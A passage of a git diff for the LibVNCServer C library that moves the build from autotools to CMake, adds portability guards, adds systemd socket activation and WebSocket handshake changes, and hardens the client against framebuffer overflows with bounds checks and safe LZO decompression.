$(TLSSRCS) -libvncclient_la_LIBADD=$(TLSLIBS) - -noinst_HEADERS=../common/lzodefs.h ../common/lzoconf.h ../common/minilzo.h tls.h - -rfbproto.o: rfbproto.c corre.c hextile.c rre.c tight.c zlib.c zrle.c ultra.c - -EXTRA_DIST=corre.c hextile.c rre.c tight.c zlib.c zrle.c ultra.c tls_gnutls.c tls_openssl.c tls_none.c - -$(libvncclient_la_OBJECTS): ../rfb/rfbclient.h - -lib_LTLIBRARIES=libvncclient.la -libvncclient_la_LDFLAGS = -version-info 1:0:0 - diff --git a/libvncclient/listen.c b/libvncclient/listen.c index e989d6a..8674b3f 100644 --- a/libvncclient/listen.c +++ b/libvncclient/listen.c @@ -25,7 +25,9 @@ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #endif +#if LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> +#endif #include <sys/types.h> #ifdef WIN32 #define close closesocket @@ -34,7 +36,9 @@ #include <sys/wait.h> #include <sys/utsname.h> #endif +#if LIBVNCSERVER_HAVE_SYS_TIME_H #include <sys/time.h> +#endif #include <rfb/rfbclient.h> /* diff --git a/libvncclient/sockets.c b/libvncclient/sockets.c index 8ddfd9d..1019580 100644 --- a/libvncclient/sockets.c +++ b/libvncclient/sockets.c @@ -30,7 +30,9 @@ # define _POSIX_SOURCE #endif #endif +#if LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> +#endif #include <errno.h> #include <fcntl.h> #include <assert.h> diff --git a/libvncclient/tls_openssl.c b/libvncclient/tls_openssl.c index a531778..1b6c986 100644 --- a/libvncclient/tls_openssl.c +++ b/libvncclient/tls_openssl.c @@ -189,7 +189,7 @@ ssl_verify (int ok, X509_STORE_CTX *ctx) ssl = X509_STORE_CTX_get_ex_data (ctx, SSL_get_ex_data_X509_STORE_CTX_idx ()); - client = SSL_CTX_get_app_data (ssl->ctx); + client = SSL_CTX_get_app_data (SSL_get_SSL_CTX(ssl)); cert = X509_STORE_CTX_get_current_cert (ctx); err = X509_STORE_CTX_get_error (ctx); @@ -287,11 +287,10 @@ open_ssl_connection (rfbClient *client, int sockfd, rfbBool anonTLS) { if (wait_for_data(ssl, n, 1) != 1) { - finished = 1; - if (ssl->ctx) - SSL_CTX_free (ssl->ctx); + finished = 1; + SSL_shutdown(ssl); SSL_free(ssl); - SSL_shutdown (ssl); + SSL_CTX_free(ssl_ctx); return NULL; } diff --git a/libvncclient/ultra.c b/libvncclient/ultra.c index d816368..a82e2ed 100644 --- a/libvncclient/ultra.c +++ b/libvncclient/ultra.c @@ -86,14 +86,14 @@ HandleUltraBPP (rfbClient* client, int rx, int ry, int rw, int rh) /* uncompress the data */ uncompressedBytes = client->raw_buffer_size; - inflateResult = lzo1x_decompress( + inflateResult = lzo1x_decompress_safe( (lzo_byte *)client->ultra_buffer, toRead, (lzo_byte *)client->raw_buffer, (lzo_uintp) &uncompressedBytes, NULL); - + /* Note that uncompressedBytes will be 0 on output overrun */ if ((rw * rh * (BPP / 8)) != uncompressedBytes) - rfbClientLog("Ultra decompressed too little (%d < %d)", (rw * rh * (BPP / 8)), uncompressedBytes); + rfbClientLog("Ultra decompressed unexpected amount of data (%d != %d)\n", (rw * rh * (BPP / 8)), uncompressedBytes); /* Put the uncompressed contents of the update on the screen. */ if ( inflateResult == LZO_E_OK ) @@ -168,7 +168,7 @@ HandleUltraZipBPP (rfbClient* client, int rx, int ry, int rw, int rh) /* uncompress the data */ uncompressedBytes = client->raw_buffer_size; - inflateResult = lzo1x_decompress( + inflateResult = lzo1x_decompress_safe( (lzo_byte *)client->ultra_buffer, toRead, (lzo_byte *)client->raw_buffer, &uncompressedBytes, NULL); if ( inflateResult != LZO_E_OK ) diff --git a/libvncclient/vncviewer.c b/libvncclient/vncviewer.c index 2028bcd..afd84fd 100644 --- a/libvncclient/vncviewer.c +++ b/libvncclient/vncviewer.c @@ -115,6 +115,10 @@ static rfbBool MallocFrameBuffer(rfbClient* client) { /* messages */ +static rfbBool CheckRect(rfbClient* client, int x, int y, int w, int h) { + return x + w <= client->width && y + h <= client->height; +} + static void FillRectangle(rfbClient* client, int x, int y, int w, int h, uint32_t colour) { int i,j; @@ -122,6 +126,11 @@ static void FillRectangle(rfbClient* client, int x, int y, int w, int h, uint32_ return; } + if (!CheckRect(client, x, y, w, h)) { + rfbClientLog("Rect out of bounds: %dx%d at (%d, %d)\n", x, y, w, h); + return; + } + #define FILL_RECT(BPP) \ for(j=y*client->width;j<(y+h)*client->width;j+=client->width) \ for(i=x;i<x+w;i++) \ @@ -143,6 +152,11 @@ static void CopyRectangle(rfbClient* client, uint8_t* buffer, int x, int y, int return; } + if (!CheckRect(client, x, y, w, h)) { + rfbClientLog("Rect out of bounds: %dx%d at (%d, %d)\n", x, y, w, h); + return; + } + #define COPY_RECT(BPP) \ { \ int rs = w * BPP / 8, rs2 = client->width * BPP / 8; \ @@ -169,6 +183,16 @@ static void CopyRectangleFromRectangle(rfbClient* client, int src_x, int src_y, return; } + if (!CheckRect(client, src_x, src_y, w, h)) { + rfbClientLog("Source rect out of bounds: %dx%d at (%d, %d)\n", src_x, src_y, w, h); + return; + } + + if (!CheckRect(client, dest_x, dest_y, w, h)) { + rfbClientLog("Dest rect out of bounds: %dx%d at (%d, %d)\n", dest_x, dest_y, w, h); + return; + } + #define COPY_RECT_FROM_RECT(BPP) \ { \ uint##BPP##_t* _buffer=((uint##BPP##_t*)client->frameBuffer)+(src_y-dest_y)*client->width+src_x-dest_x; \ diff --git a/libvncserver-config.in b/libvncserver-config.in deleted file mode 100644 index ea0bef8..0000000 --- a/libvncserver-config.in +++ /dev/null @@ -1,78 +0,0 @@ -#!/bin/sh - -prefix=@prefix@ -exec_prefix=@exec_prefix@ -exec_prefix_set=no -includedir=@includedir@ -libdir=@libdir@ - -# if this script is in the same directory as libvncserver-config.in, assume not installed -if [ -f "`dirname "$0"`/libvncserver-config.in" ]; then - dir="`dirname "$0"`" - prefix="`cd "$dir"; pwd`" - includedir="$prefix" - libdir="$prefix/libvncserver/.libs $prefix/libvncclient/.libs" -fi - -usage="\ -Usage: @PACKAGE@-config [--prefix[=DIR]] [--exec-prefix[=DIR]] [--version] [--link] [--libs] [--cflags]" - -if test $# -eq 0; then - echo "${usage}" 1>&2 - exit 1 -fi - -while test $# -gt 0; do - case "$1" in - -*=*) optarg=`echo "$1" | sed 's/[-_a-zA-Z0-9]*=//'` ;; - *) optarg= ;; - esac - - case $1 in - --prefix=*) - prefix=$optarg - if test $exec_prefix_set = no ; then - exec_prefix=$optarg - fi - ;; - --prefix) - echo $prefix - ;; - --exec-prefix=*) - exec_prefix=$optarg - exec_prefix_set=yes - ;; - --exec-prefix) - echo $exec_prefix - ;; - --version) - echo @VERSION@ - ;; - --cflags) - if [ "$includedir" != /usr/include ]; then - includes=-I"$includedir" - fi - echo "$includes" - ;; - --libs) - libs="" - for dir in $libdir; do - libs="$libs -L$dir" - if [ "`uname`" = "SunOS" ]; then - # why only Solaris?? - libs="$libs -R$dir" - fi - done - echo "$libs" -lvncserver -lvncclient @LIBS@ @WSOCKLIB@ - ;; - --link) - echo @CC@ - ;; - *) - echo "${usage}" 1>&2 - exit 1 - ;; - esac - shift -done - diff --git a/libvncserver.pc.cmakein b/libvncserver.pc.cmakein new file mode 100644 index 0000000..f38d74f --- /dev/null +++ b/libvncserver.pc.cmakein @@ -0,0 +1,13 @@ +prefix=@CMAKE_INSTALL_PREFIX@ +exec_prefix=@CMAKE_INSTALL_PREFIX@ +libdir=@CMAKE_INSTALL_PREFIX@/lib +includedir=@CMAKE_INSTALL_PREFIX@/include + +Name: LibVNCServer +Description: A library for easy implementation of a VNC server. +Version: @PACKAGE_VERSION@ +Requires: +Requires.private: zlib +Libs: -L${libdir} -lvncserver +Libs.private: @PRIVATE_LIBS@ +Cflags: -I${includedir} diff --git a/libvncserver.pc.in b/libvncserver.pc.in deleted file mode 100644 index d246052..0000000 --- a/libvncserver.pc.in +++ /dev/null @@ -1,14 +0,0 @@ -prefix=@prefix@ -exec_prefix=@exec_prefix@ -libdir=@libdir@ -includedir=@includedir@ - -Name: LibVNCServer -Description: A library for easy implementation of a VNC server. -Version: @VERSION@ -Requires: -Requires.private: zlib -Libs: -L${libdir} -lvncserver -Libs.private: @LIBS@ @WSOCKLIB@ -Cflags: -I${includedir} - diff --git a/libvncserver/Makefile.am b/libvncserver/Makefile.am deleted file mode 100644 index 2f23e31..0000000 --- a/libvncserver/Makefile.am +++ /dev/null @@ -1,74 +0,0 @@ -AM_CPPFLAGS = -I$(top_srcdir) -I$(top_srcdir)/common - -if WITH_TIGHTVNC_FILETRANSFER -TIGHTVNCFILETRANSFERHDRS=tightvnc-filetransfer/filelistinfo.h \ - tightvnc-filetransfer/filetransfermsg.h \ - tightvnc-filetransfer/handlefiletransferrequest.h \ - tightvnc-filetransfer/rfbtightproto.h - -TIGHTVNCFILETRANSFERSRCS = tightvnc-filetransfer/rfbtightserver.c \ - tightvnc-filetransfer/handlefiletransferrequest.c \ - tightvnc-filetransfer/filetransfermsg.c \ - tightvnc-filetransfer/filelistinfo.c -endif - -if WITH_WEBSOCKETS - -if HAVE_GNUTLS -WEBSOCKETSSSLSRCS = rfbssl_gnutls.c rfbcrypto_gnutls.c -WEBSOCKETSSSLLIBS = @GNUTLS_LIBS@ -else -if HAVE_LIBSSL -WEBSOCKETSSSLSRCS = rfbssl_openssl.c rfbcrypto_openssl.c -WEBSOCKETSSSLLIBS = @SSL_LIBS@ @CRYPT_LIBS@ -else -WEBSOCKETSSSLSRCS = rfbssl_none.c rfbcrypto_included.c ../common/md5.c ../common/sha1.c -endif -endif - -WEBSOCKETSSRCS = websockets.c $(WEBSOCKETSSSLSRCS) -endif - -includedir=$(prefix)/include/rfb - -include_HEADERS=../rfb/rfb.h ../rfb/rfbconfig.h \ - ../rfb/rfbproto.h ../rfb/keysym.h ../rfb/rfbregion.h ../rfb/rfbclient.h - -noinst_HEADERS=../common/d3des.h ../rfb/default8x16.h zrleoutstream.h \ - zrlepalettehelper.h zrletypes.h private.h scale.h rfbssl.h rfbcrypto.h \ - ../common/minilzo.h ../common/lzoconf.h ../common/lzodefs.h ../common/md5.h ../common/sha.h ../common/sha-private.h \ - $(TIGHTVNCFILETRANSFERHDRS) - -EXTRA_DIST=tableinit24.c tableinittctemplate.c tabletranstemplate.c \ - tableinitcmtemplate.c tabletrans24template.c \ - zrleencodetemplate.c - -if HAVE_LIBZ -ZLIBSRCS = zlib.c zrle.c zrleoutstream.c zrlepalettehelper.c ../common/zywrletemplate.c -if HAVE_LIBJPEG -TIGHTSRCS = tight.c ../common/turbojpeg.c -endif -endif - -LIB_SRCS = main.c rfbserver.c rfbregion.c auth.c sockets.c $(WEBSOCKETSSRCS) \ - stats.c corre.c hextile.c rre.c translate.c cutpaste.c \ - httpd.c cursor.c font.c \ - draw.c selbox.c ../common/d3des.c ../common/vncauth.c cargs.c ../common/minilzo.c ultra.c scale.c \ - $(ZLIBSRCS) $(TIGHTSRCS) $(TIGHTVNCFILETRANSFERSRCS) - -libvncserver_la_SOURCES=$(LIB_SRCS) -libvncserver_la_LIBADD=$(WEBSOCKETSSSLLIBS) - -lib_LTLIBRARIES=libvncserver.la -libvncserver_la_LDFLAGS = -version-info 1:0:0 - -if HAVE_RPM -$(PACKAGE)-$(VERSION).tar.gz: dist - -# Rule to build RPM distribution package -rpm: $(PACKAGE)-$(VERSION).tar.gz libvncserver.spec - cp $(PACKAGE)-$(VERSION).tar.gz @RPMSOURCEDIR@ - rpmbuild -ba libvncserver.spec -endif - - diff --git a/libvncserver/httpd.c b/libvncserver/httpd.c index 236ab3e..26d49af 100644 --- a/libvncserver/httpd.c +++ b/libvncserver/httpd.c @@ -47,6 +47,7 @@ #include <winsock2.h> #include <ws2tcpip.h> #define close closesocket +#define strcasecmp _stricmp #if defined(_MSC_VER) #include <BaseTsd.h> /* For the missing ssize_t */ #define ssize_t SSIZE_T @@ -81,9 +82,7 @@ "<HEAD><TITLE>Invalid Request</TITLE></HEAD>\n" \ "<BODY><H1>Invalid request</H1></BODY>\n" -#define OK_STR "HTTP/1.0 200 OK\r\nConnection: close\r\n\r\n" -#define OK_STR_HTML "HTTP/1.0 200 OK\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n" - +#define OK_STR "HTTP/1.0 200 OK\r\nConnection: close\r\n" static void httpProcessInput(rfbScreenInfoPtr screen); @@ -454,10 +453,18 @@ httpProcessInput(rfbScreenInfoPtr rfbScreen) return; } - if(performSubstitutions) /* is the 'index.vnc' file */ - rfbWriteExact(&cl, OK_STR_HTML, strlen(OK_STR_HTML)); - else - rfbWriteExact(&cl, OK_STR, strlen(OK_STR)); + rfbWriteExact(&cl, OK_STR, strlen(OK_STR)); + char *ext = strrchr(fname, '.'); + char *contentType = ""; + if(ext && strcasecmp(ext, ".vnc") == 0) + contentType = "Content-Type: text/html\r\n"; + else if(ext && strcasecmp(ext, ".css") == 0) + contentType = "Content-Type: text/css\r\n"; + else if(ext && strcasecmp(ext, ".svg") == 0) + contentType = "Content-Type: image/svg+xml\r\n"; + rfbWriteExact(&cl, contentType, strlen(contentType)); + /* end the header */ + rfbWriteExact(&cl, "\r\n", 2); while (1) { int n = fread(buf, 1, BUF_SIZE-1, fd); diff --git a/libvncserver/main.c b/libvncserver/main.c index a8458e4..95c3da5 100644 --- a/libvncserver/main.c +++ b/libvncserver/main.c @@ -261,7 +261,16 @@ rfbLogProc rfbErr=rfbDefaultLog; void rfbLogPerror(const char *str) { +#ifdef WIN32 + wchar_t *s = NULL; + FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, errno, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + (LPWSTR)&s, 0, NULL); + rfbErr("%s: %S\n", str, s); + LocalFree(s); +#else rfbErr("%s: %s\n", str, strerror(errno)); +#endif } void rfbScheduleCopyRegion(rfbScreenInfoPtr rfbScreen,sraRegionPtr copyRegion,int dx,int dy) @@ -582,7 +591,7 @@ listenerRun(void *data) socklen_t len; fd_set listen_fds; /* temp file descriptor list for select() */ - /* TODO: this thread wont die by restarting the server */ + /* TODO: this thread won't die by restarting the server */ /* TODO: HTTP is not handled */ while (1) { client_fd = -1; @@ -612,21 +621,18 @@ listenerRun(void *data) return(NULL); } -void -rfbStartOnHoldClient(rfbClientPtr cl) -{ - pthread_create(&cl->client_thread, NULL, clientInput, (void *)cl); -} - -#else +#endif void rfbStartOnHoldClient(rfbClientPtr cl) { - cl->onHold = FALSE; + cl->onHold = FALSE; +#ifdef LIBVNCSERVER_HAVE_LIBPTHREAD + if(cl->screen->backgroundLoop) + pthread_create(&cl->client_thread, NULL, clientInput, (void *)cl); +#endif } -#endif void rfbRefuseOnHoldClient(rfbClientPtr cl) @@ -1055,7 +1061,15 @@ void rfbInitServer(rfbScreenInfoPtr screen) { #ifdef WIN32 WSADATA trash; - WSAStartup(MAKEWORD(2,2),&trash); + static rfbBool WSAinitted=FALSE; + if(!WSAinitted) { + int i=WSAStartup(MAKEWORD(2,0),&trash); + if(i!=0) { + rfbErr("Couldn't init Windows Sockets\n"); + return 0; + } + WSAinitted=TRUE; + } #endif rfbInitSockets(screen); rfbHttpInitSockets(screen); diff --git a/libvncserver/rfbcrypto.h b/libvncserver/rfbcrypto.h index 9dc3e63..fec095e 100644 --- a/libvncserver/rfbcrypto.h +++ b/libvncserver/rfbcrypto.h @@ -1,12 +1,16 @@ #ifndef _RFB_CRYPTO_H #define _RFB_CRYPTO_H 1 -#include <sys/uio.h> +#include "rfb/rfbconfig.h" #define SHA1_HASH_SIZE 20 #define MD5_HASH_SIZE 16 +#ifdef LIBVNCSERVER_HAVE_SYS_UIO_H +#include <sys/uio.h> + void digestmd5(const struct iovec *iov, int iovcnt, void *dest); void digestsha1(const struct iovec *iov, int iovcnt, void *dest); +#endif #endif diff --git a/libvncserver/rfbserver.c b/libvncserver/rfbserver.c index bc9cc11..040238d 100644 --- a/libvncserver/rfbserver.c +++ b/libvncserver/rfbserver.c @@ -37,6 +37,7 @@ #include <rfb/rfb.h> #include <rfb/rfbregion.h> #include "private.h" +#include "rfb/rfbconfig.h" #ifdef LIBVNCSERVER_HAVE_FCNTL_H #include <fcntl.h> @@ -74,7 +75,9 @@ /* stst() */ #include <sys/types.h> #include <sys/stat.h> +#if LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> +#endif #ifndef WIN32 /* readdir() */ diff --git a/libvncserver/scale.c b/libvncserver/scale.c index 3ca76dc..2325dc3 100644 --- a/libvncserver/scale.c +++ b/libvncserver/scale.c @@ -66,7 +66,18 @@ (double) ((int) (x)) : (double) ((int) (x) + 1) ) #define FLOOR(x) ( (double) ((int) (x)) ) -static inline int pad4(int value) +#ifdef WIN32 +#define InlineX __inline +#else +# ifndef __STRICT_ANSI__ +# define InlineX inline +# else +# define InlineX +# endif +#endif + + +static InlineX int pad4(int value) { int remainder = value & 3; if (!remainder) return value; diff --git a/libvncserver/sockets.c b/libvncserver/sockets.c index 51e86eb..bbc3d90 100644 --- a/libvncserver/sockets.c +++ b/libvncserver/sockets.c @@ -77,6 +77,10 @@ #include "rfbssl.h" #endif +#ifdef LIBVNCSERVER_WITH_SYSTEMD +#include <systemd/sd-daemon.h> +#endif + #if defined(__linux__) && defined(NEED_TIMEVAL) struct timeval { @@ -122,6 +126,54 @@ int deny_severity=LOG_WARNING; int rfbMaxClientWait = 20000; /* time (ms) after which we decide client has gone away - needed to stop us hanging */ +static rfbBool +rfbNewConnectionFromSock(rfbScreenInfoPtr rfbScreen, int sock) +{ + const int one = 1; +#ifdef LIBVNCSERVER_IPv6 + struct sockaddr_storage addr; +#else + struct sockaddr_in addr; +#endif + socklen_t addrlen = sizeof(addr); + + getpeername(sock, (struct sockaddr *)&addr, &addrlen); + + if(!rfbSetNonBlocking(sock)) { + rfbLogPerror("rfbCheckFds: setnonblock"); + closesocket(sock); + return FALSE; + } + + if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, + (char *)&one, sizeof(one)) < 0) { + rfbLogPerror("rfbCheckFds: setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?"); + } + +#ifdef USE_LIBWRAP + if(!hosts_ctl("vnc",STRING_UNKNOWN,inet_ntoa(addr.sin_addr), + STRING_UNKNOWN)) { + rfbLog("Rejected connection from client %s\n", + inet_ntoa(addr.sin_addr)); + closesocket(sock); + return FALSE; + } +#endif + +#ifdef LIBVNCSERVER_IPv6 + char host[1024]; + if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) { + rfbLogPerror("rfbProcessNewConnection: error in getnameinfo"); + } + rfbLog("Got connection from client %s\n", host); +#else + rfbLog("Got connection from client %s\n", inet_ntoa(addr.sin_addr)); +#endif + + rfbNewClient(rfbScreen,sock); + return TRUE; +} + /* * rfbInitSockets sets up the TCP and UDP sockets to listen for RFB * connections. It does nothing if called again. @@ -138,6 +190,20 @@ rfbInitSockets(rfbScreenInfoPtr rfbScreen) rfbScreen->socketState = RFB_SOCKET_READY; +#ifdef LIBVNCSERVER_WITH_SYSTEMD + if (sd_listen_fds(0) == 1) + { + int sock = SD_LISTEN_FDS_START + 0; + if (sd_is_socket(sock, AF_UNSPEC, 0, 0)) + rfbNewConnectionFromSock(rfbScreen, sock); + else if (sd_is_socket(sock, AF_UNSPEC, 0, 1)) + rfbProcessNewConnection(rfbScreen); + return; + } + else + rfbLog("Unable to establish connection with systemd socket\n"); +#endif + if (rfbScreen->inetdSock != -1) { const int one = 1; @@ -155,10 +221,10 @@ rfbInitSockets(rfbScreenInfoPtr rfbScreen) return; } - if(rfbScreen->autoPort) { - int i; - FD_ZERO(&(rfbScreen->allFds)); + FD_ZERO(&(rfbScreen->allFds)); + if(rfbScreen->autoPort && rfbScreen->port>0) { + int i; rfbLog("Autoprobing TCP port \n"); for (i = 5900; i < 6000; i++) { if ((rfbScreen->listenSock = rfbListenOnTCPPort(i, iface)) >= 0) { @@ -175,8 +241,11 @@ rfbInitSockets(rfbScreenInfoPtr rfbScreen) rfbLog("Autoprobing selected TCP port %d\n", rfbScreen->port); FD_SET(rfbScreen->listenSock, &(rfbScreen->allFds)); rfbScreen->maxFd = rfbScreen->listenSock; + } #ifdef LIBVNCSERVER_IPv6 + if(rfbScreen->autoPort && rfbScreen->ipv6port>0) { + int i; rfbLog("Autoprobing TCP6 port \n"); for (i = 5900; i < 6000; i++) { if ((rfbScreen->listen6Sock = rfbListenOnTCP6Port(i, rfbScreen->listen6Interface)) >= 0) { @@ -193,12 +262,11 @@ rfbInitSockets(rfbScreenInfoPtr rfbScreen) rfbLog("Autoprobing selected TCP6 port %d\n", rfbScreen->ipv6port); FD_SET(rfbScreen->listen6Sock, &(rfbScreen->allFds)); rfbScreen->maxFd = rfbMax((int)rfbScreen->listen6Sock,rfbScreen->maxFd); -#endif } - else - { +#endif + + if(!rfbScreen->autoPort) { if(rfbScreen->port>0) { - FD_ZERO(&(rfbScreen->allFds)); if ((rfbScreen->listenSock = rfbListenOnTCPPort(rfbScreen->port, iface)) < 0) { rfbLogPerror("ListenOnTCPPort"); @@ -411,14 +479,7 @@ rfbCheckFds(rfbScreenInfoPtr rfbScreen,long usec) rfbBool rfbProcessNewConnection(rfbScreenInfoPtr rfbScreen) { - const int one = 1; int sock = -1; -#ifdef LIBVNCSERVER_IPv6 - struct sockaddr_storage addr; -#else - struct sockaddr_in addr; -#endif - socklen_t addrlen = sizeof(addr); fd_set listen_fds; int chosen_listen_sock = -1; @@ -439,47 +500,12 @@ rfbProcessNewConnection(rfbScreenInfoPtr rfbScreen) if (rfbScreen->listen6Sock >= 0 && FD_ISSET(rfbScreen->listen6Sock, &listen_fds)) chosen_listen_sock = rfbScreen->listen6Sock; - if ((sock = accept(chosen_listen_sock, - (struct sockaddr *)&addr, &addrlen)) < 0) { + if ((sock = accept(chosen_listen_sock, NULL, NULL)) < 0) { rfbLogPerror("rfbCheckFds: accept"); return FALSE; } - if(!rfbSetNonBlocking(sock)) { - closesocket(sock); - return FALSE; - } - - if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, - (char *)&one, sizeof(one)) < 0) { - rfbLogPerror("rfbCheckFds: setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?"); - } - -#ifdef USE_LIBWRAP - if(!hosts_ctl("vnc",STRING_UNKNOWN,inet_ntoa(addr.sin_addr), - STRING_UNKNOWN)) { - rfbLog("Rejected connection from client %s\n", - inet_ntoa(addr.sin_addr)); - closesocket(sock); - return FALSE; - } -#endif - -#ifdef LIBVNCSERVER_IPv6 - { - char host[1024]; - if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) { - rfbLogPerror("rfbProcessNewConnection: error in getnameinfo"); - } - rfbLog("Got connection from client %s\n", host); - } -#else - rfbLog("Got connection from client %s\n", inet_ntoa(addr.sin_addr)); -#endif - - rfbNewClient(rfbScreen,sock); - - return TRUE; + return rfbNewConnectionFromSock(rfbScreen, sock); } diff --git a/libvncserver/tightvnc-filetransfer/filetransfermsg.c b/libvncserver/tightvnc-filetransfer/filetransfermsg.c index 153f123..5f84e7f 100644 --- a/libvncserver/tightvnc-filetransfer/filetransfermsg.c +++ b/libvncserver/tightvnc-filetransfer/filetransfermsg.c @@ -56,7 +56,9 @@ #endif #include <errno.h> +#if LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> +#endif #include <sys/stat.h> #include <sys/types.h> diff --git a/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c b/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c index b235fa0..c511eed 100644 --- a/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c +++ b/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c @@ -29,7 +29,9 @@ #include <stdio.h> #include <stdlib.h> #include <string.h> +#if LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> +#endif #ifndef _MSC_VER #include <dirent.h> #include <pthread.h> diff --git a/libvncserver/websockets.c b/libvncserver/websockets.c index b5d99fc..72396c2 100644 --- a/libvncserver/websockets.c +++ b/libvncserver/websockets.c @@ -49,17 +49,32 @@ #endif #include <string.h> +#if LIBVNCSERVER_UNISTD_H #include <unistd.h> +#endif #include "rfb/rfbconfig.h" #include "rfbssl.h" #include "rfbcrypto.h" +#if defined(__APPLE__) + +#include <libkern/OSByteOrder.h> +#define WS_NTOH64(n) OSSwapBigToHostInt64(n) +#define WS_NTOH32(n) OSSwapBigToHostInt32(n) +#define WS_NTOH16(n) OSSwapBigToHostInt16(n) +#define WS_HTON64(n) OSSwapHostToBigInt64(n) +#define WS_HTON16(n) OSSwapHostToBigInt16(n) + +#else + #define WS_NTOH64(n) htobe64(n) #define WS_NTOH32(n) htobe32(n) #define WS_NTOH16(n) htobe16(n) #define WS_HTON64(n) htobe64(n) #define WS_HTON16(n) htobe16(n) +#endif + #define B64LEN(__x) (((__x + 2) / 3) * 12 / 3) #define WSHLENMAX 14 /* 2 + sizeof(uint64_t) + sizeof(uint32_t) */ @@ -103,15 +118,27 @@ typedef union ws_mask_s { * it from recognizing anonymous structs and unions. * See http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784 */ -typedef struct __attribute__ ((__packed__)) ws_header_s { +typedef struct +#if __GNUC__ +__attribute__ ((__packed__)) +#endif +ws_header_s { unsigned char b0; unsigned char b1; union { - struct __attribute__ ((__packed__)) { + struct +#if __GNUC__ + __attribute__ ((__packed__)) +#endif + { uint16_t l16; ws_mask_t m16; } s16; - struct __attribute__ ((__packed__)) { + struct +#if __GNUC__ +__attribute__ ((__packed__)) +#endif + { uint64_t l64; ws_mask_t m64; } s64; @@ -153,6 +180,11 @@ Sec-WebSocket-Accept: %s\r\n\ Sec-WebSocket-Protocol: %s\r\n\ \r\n" +#define SERVER_HANDSHAKE_HYBI_NO_PROTOCOL "HTTP/1.1 101 Switching Protocols\r\n\ +Upgrade: websocket\r\n\ +Connection: Upgrade\r\n\ +Sec-WebSocket-Accept: %s\r\n\ +\r\n" #define WEBSOCKETS_CLIENT_CONNECT_WAIT_MS 100 #define WEBSOCKETS_CLIENT_SEND_WAIT_MS 100 @@ -189,7 +221,7 @@ static void webSocketsGenSha1Key(char *target, int size, char *key) iov[1].iov_base = GUID; iov[1].iov_len = sizeof(GUID) - 1; digestsha1(iov, 2, hash); - if (-1 == __b64_ntop(hash, sizeof(hash), target, size)) + if (-1 == b64_ntop(hash, sizeof(hash), target, size)) rfbErr("b64_ntop failed\n"); } @@ -390,8 +422,12 @@ webSocketsHandshake(rfbClientPtr cl, char *scheme) char accept[B64LEN(SHA1_HASH_SIZE) + 1]; rfbLog(" - WebSockets client version hybi-%02d\n", sec_ws_version); webSocketsGenSha1Key(accept, sizeof(accept), sec_ws_key); - len = snprintf(response, WEBSOCKETS_MAX_HANDSHAKE_LEN, - SERVER_HANDSHAKE_HYBI, accept, protocol); + if(strlen(protocol) > 0) + len = snprintf(response, WEBSOCKETS_MAX_HANDSHAKE_LEN, + SERVER_HANDSHAKE_HYBI, accept, protocol); + else + len = snprintf(response, WEBSOCKETS_MAX_HANDSHAKE_LEN, + SERVER_HANDSHAKE_HYBI_NO_PROTOCOL, accept); } else { /* older hixie handshake, this could be removed if * a final standard is established */ @@ -492,7 +528,7 @@ webSocketsEncodeHixie(rfbClientPtr cl, const char *src, int len, char **dst) ws_ctx_t *wsctx = (ws_ctx_t *)cl->wsctx; wsctx->codeBufEncode[sz++] = '\x00'; - len = __b64_ntop((unsigned char *)src, len, wsctx->codeBufEncode+sz, sizeof(wsctx->codeBufEncode) - (sz + 1)); + len = b64_ntop((unsigned char *)src, len, wsctx->codeBufEncode+sz, sizeof(wsctx->codeBufEncode) - (sz + 1)); if (len < 0) { return len; } @@ -603,7 +639,7 @@ webSocketsDecodeHixie(rfbClientPtr cl, char *dst, int len) /* Decode the rest of what we need */ buf[needlen] = '\x00'; /* Replace end marker with end of string */ /* rfbLog("buf: %s\n", buf); */ - n = __b64_pton(buf, (unsigned char *)dst+retlen, 2+len); + n = b64_pton(buf, (unsigned char *)dst+retlen, 2+len); if (n < len) { rfbErr("Base64 decode error\n"); errno = EIO; @@ -743,7 +779,7 @@ webSocketsDecodeHybi(rfbClientPtr cl, char *dst, int len) errno = ECONNRESET; break; case WS_OPCODE_TEXT_FRAME: - if (-1 == (flength = __b64_pton(payload, (unsigned char *)wsctx->codeBufDecode, sizeof(wsctx->codeBufDecode)))) { + if (-1 == (flength = b64_pton(payload, (unsigned char *)wsctx->codeBufDecode, sizeof(wsctx->codeBufDecode)))) { rfbErr("%s: Base64 decode error; %m\n", __func__); break; } @@ -817,7 +853,7 @@ webSocketsEncodeHybi(rfbClientPtr cl, const char *src, int len, char **dst) } if (wsctx->base64) { - if (-1 == (ret = __b64_ntop((unsigned char *)src, len, wsctx->codeBufEncode + sz, sizeof(wsctx->codeBufEncode) - sz))) { + if (-1 == (ret = b64_ntop((unsigned char *)src, len, wsctx->codeBufEncode + sz, sizeof(wsctx->codeBufEncode) - sz))) { rfbErr("%s: Base 64 encode failed\n", __func__); } else { if (ret != blen) diff --git a/m4/.gitignore b/m4/.gitignore deleted file mode 100644 index 7c9f9ac..0000000 --- a/m4/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.m4
